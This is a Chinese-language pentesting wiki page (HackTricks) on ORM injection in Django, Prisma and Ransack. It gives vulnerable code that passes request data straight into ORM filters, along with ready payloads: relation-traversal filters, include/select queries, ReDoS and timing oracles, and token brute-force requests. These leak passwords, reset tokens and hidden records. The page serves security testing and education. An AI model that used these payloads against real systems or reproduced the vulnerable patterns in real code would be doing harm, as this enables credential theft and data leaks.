hacktricks/pentesting-web/orm-injection.md

10 KiB
Raw Blame History

ORM Injection

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

Django ORM (Python)

这篇文章 中解释了如何通过使用例如以下代码使 Django ORM 变得脆弱:

class ArticleView(APIView):
"""
一些基本的 API 视图,用户向其发送请求以
搜索文章
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

注意所有的 request.data这将是一个 json是直接传递给 从数据库中过滤对象。攻击者可以发送意外的过滤器,以便泄露比预期更多的数据。

示例:

  • 登录: 在简单的登录中尝试泄露注册用户的密码。
{
"username": "admin",
"password_startswith":"a"
}

{% hint style="danger" %} 可以通过暴力破解密码直到其泄露。 {% endhint %}

  • 关系过滤可以遍历关系以泄露来自未预期在操作中使用的列的信息。例如如果可以泄露由用户创建的文章具有以下关系Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password)。
{
"created_by__user__password__contains":"pass"
}

{% hint style="danger" %} 可以找到所有创建了文章的用户的密码 {% endhint %}

  • 多对多关系过滤在前面的例子中我们无法找到没有创建文章的用户的密码。然而遵循其他关系这是可能的。例如Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith":"admi"
}

{% hint style="danger" %} 在这种情况下我们可以找到所有在部门中创建文章的用户然后泄露他们的密码在之前的json中我们只是泄露了用户名但之后可以泄露密码。 {% endhint %}

  • 滥用Django组和权限的多对多关系与用户此外AbstractUser模型用于在Django中生成用户默认情况下该模型与权限和组表具有一些多对多关系。这基本上是从一个用户访问其他用户的默认方式,如果他们在同一组或共享相同权限
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • 绕过过滤限制:同一篇博客文章建议绕过某些过滤的使用,例如 articles = Article.objects.filter(is_secret=False, **request.data)。可以转储 is_secret=True 的文章,因为我们可以从关系回溯到 Article 表,并从非秘密文章中泄露秘密文章,因为结果是连接的,并且在非秘密文章中检查 is_secret 字段,而数据是从秘密文章中泄露的。
Article.objects.filter(is_secret=False, categories__articles__id=2)

{% hint style="danger" %} 滥用关系可以绕过甚至旨在保护所显示数据的过滤器。 {% endhint %}

  • 基于错误/时间的 ReDoS:在之前的示例中,期望在过滤工作与否时有不同的响应,以此作为 oracle。但也可能在数据库中执行某些操作时响应始终相同。在这种情况下可以使数据库出错以获取新的 oracle。
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

从同一篇关于此向量的帖子中:

  • SQLite:默认情况下没有正则表达式操作符(需要加载第三方扩展)
  • PostgreSQL:没有默认的正则表达式超时,并且不太容易回溯
  • MariaDB:没有正则表达式超时

Prisma ORM (NodeJS)

以下是从此帖子提取的技巧

  • 完全查找控制
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// 攻击者对所有 prisma 选项拥有完全控制
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

可以看到整个 JavaScript 主体被传递给 prisma 以执行查询。

在原始帖子的示例中,这将检查所有由某人创建的帖子(每个帖子都是由某人创建的),同时返回该某人的用户信息(用户名、密码...

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

以下内容选择所有由某个拥有密码的人创建的帖子,并将返回该密码:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • 完全的 where 子句控制

让我们看看攻击可以控制 where 子句的情况:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // 易受 ORM 泄漏影响
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

可以直接过滤用户的密码,例如:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

{% hint style="danger" %} 使用像 startsWith 这样的操作可以泄露信息。 {% endhint %}

  • 多对多关系过滤绕过过滤:
app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

可以通过回溯 Category -[*..*]-> Article 之间的多对多关系来泄露未发布的文章:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

也有可能通过滥用某些循环回路的多对多关系来泄露所有用户:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • 错误/定时查询:在原始帖子中,您可以阅读一系列非常广泛的测试,以找到使用基于时间的有效载荷泄露信息的最佳有效载荷。这是:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Where the {CONTAINS_LIST} 是一个包含1000个字符串的列表以确保在找到正确的泄漏时响应会延迟。

Ransack (Ruby)

这些技巧在这篇文章中发现

{% hint style="success" %} 请注意Ransack 4.0.0.0 现在强制使用显式允许列表来进行可搜索属性和关联。 {% endhint %}

脆弱示例:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

注意查询将由攻击者发送的参数定义。例如,可以通过以下方式暴力破解重置令牌:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

通过暴力破解和潜在的关系,可以从数据库中泄露更多数据。

参考文献

{% hint style="success" %} 学习和实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks
{% endhint %}